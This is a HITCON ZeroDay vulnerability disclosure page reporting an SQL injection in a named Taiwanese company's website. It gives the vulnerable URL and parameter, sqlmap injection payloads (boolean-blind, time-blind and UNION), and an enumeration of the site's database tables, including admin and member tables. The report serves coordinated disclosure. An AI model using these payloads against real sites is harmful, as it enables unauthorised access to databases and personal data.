瑞沧企业股份有限公司SQL - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2018-00421
  •  發信 Vendor: 瑞滄企業股份有限公司
  • Title: 瑞沧企业股份有限公司SQL
  • Introduction: 瑞沧企业股份有限公司SQL

處理狀態

目前狀態

公開
Last Update : 2018/06/03
  • 新提交
  • 已審核
  • 已通報
  • 已修補
  • 未複測
  • 公開

處理歷程

  • 2018/04/07 21:02:41 : 新提交 (由 Cra5h 更新此狀態)
  • 2018/04/08 00:10:59 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2018/04/08 02:21:33 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2018/04/08 02:21:34 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2018/05/14 23:57:14 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2018/05/14 23:57:14 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2018/05/16 11:29:13 : 複測申請中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2018/06/03 03:00:33 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2018-00421
  • 通報者:cra5h (Cra5h)
  • 風險:高
  • 類型:資料庫注入攻擊 (SQL Injection)

參考資料

攻擊者可利用該漏洞取得後端資料庫權限及完整資料(包含大量使用者個資或敏感性資料),同時也有機會對資料進行破壞或修改。

漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection

漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection

漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html

防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

http://www.algol.com.tw/apply_description.php?CNo=35

敘述

瑞沧企业股份有限公司SQL
SQL位置:
http://www.algol.com.tw/apply_description.php?CNo=35

GET parameter 'CNo' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection point(s) with a total of 45 HTTP(s) requests:

Parameter: CNo (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: CNo=35 AND 9969=9969

Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: CNo=35 AND SLEEP(5)

Type: UNION query
Title: Generic UNION query (NULL) - 4 columns
Payload: CNo=-5028 UNION ALL SELECT NULL,NULL,CONCAT(0x716b716a71,0x784f47764879596b73635a6a684f6264576a417a53445a4671616c434f6e69426d4c6f5a4a577774,0x71707a7171),NULL-- NxQx

[16:36:42] [INFO] the back-end DBMS is MySQL
web application technology: Apache, PHP 5.3.29
back-end DBMS: MySQL >= 5.0.12
[16:36:42] [INFO] fetched data logged to text files under 'C:\Users\Administrator.sqlmap\output\www.algol.com.tw'

确认影响库:(2个)
available databases [2]:
[] algolcom_db
[
] information_schema

[16:40:03] [INFO] fetched data logged to text files under 'C:\Users\Administrator.sqlmap\output\www.algol.com.tw'

查看数据量:
Database: algolcom_db
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| inquiry_product | 1051 |
| inquiry | 806 |
| cn_inquiry_product | 248 |
| contactus | 235 |
| cn_inquiry | 224 |
| en_inquiry_product | 165 |
| en_inquiry | 153 |
| cn_seo | 102 |
| en_contactus | 97 |
| cn_product | 93 |
| product | 91 |
| seo | 86 |
| en_seo | 82 |
| en_product | 76 |
| ask_price | 63 |
| download_object | 59 |
| cn_download_object | 50 |
| product_photo | 50 |
| cn_product_photo | 49 |
| permission | 48 |
| category | 46 |
| cn_category | 46 |
| en_category | 42 |
| en_product_photo | 33 |
| ask_pro | 23 |
| en_download_object | 18 |
| epaper_member | 18 |
| cn_website_setting | 13 |
| en_website_setting | 13 |
| website_setting | 13 |
| cn_company | 10 |
| cn_faq | 10 |
| company | 10 |
| en_faq | 10 |
| faq | 10 |
| cn_seo_page | 9 |
| en_company | 9 |
| en_seo_page | 9 |
| news | 9 |
| seo_page | 9 |
| banner | 7 |
| cn_banner | 7 |
| en_ask_price | 7 |
| en_epaper_member | 7 |
| cn_contactus | 6 |
| en_banner | 6 |
| en_ask_pro | 5 |
| cn_epaper_member | 4 |
| cn_site_info | 4 |
| en_site_info | 4 |
| site_info | 4 |
| cn_faq_category | 3 |
| en_faq_category | 3 |
| faq_category | 3 |
| cn_ask_price | 2 |
| cn_epaper | 2 |
| cn_news | 2 |
| cn_news_category | 2 |
| en_epaper | 2 |
| en_news | 2 |
| en_news_category | 2 |
| epaper | 2 |
| news_category | 2 |
| admin_user | 1 |
| cn_ask_pro | 1 |
+---------------------------------------+---------+

Database: information_schema
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| COLUMNS | 1741 |
| SESSION_VARIABLES | 453 |
| GLOBAL_VARIABLES | 439 |
| GLOBAL_STATUS | 341 |
| SESSION_STATUS | 341 |
| COLLATION_CHARACTER_SET_APPLICABILITY | 219 |
| COLLATIONS | 219 |
| PARTITIONS | 145 |
| TABLES | 145 |
| KEY_COLUMN_USAGE | 85 |
| STATISTICS | 85 |
| TABLE_CONSTRAINTS | 85 |
| PLUGINS | 42 |
| CHARACTER_SETS | 40 |
| INNODB_FT_DEFAULT_STOPWORD | 36 |
| ENGINES | 9 |
| SCHEMA_PRIVILEGES | 4 |
| SCHEMATA | 2 |
| PROCESSLIST | 1 |
| USER_PRIVILEGES | 1 |
+---------------------------------------+---------+

[16:44:02] [INFO] fetched data logged to text files under 'C:\Users\Administrator.sqlmap\output\www.algol.com.tw'

修補建議

过滤,参数化

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;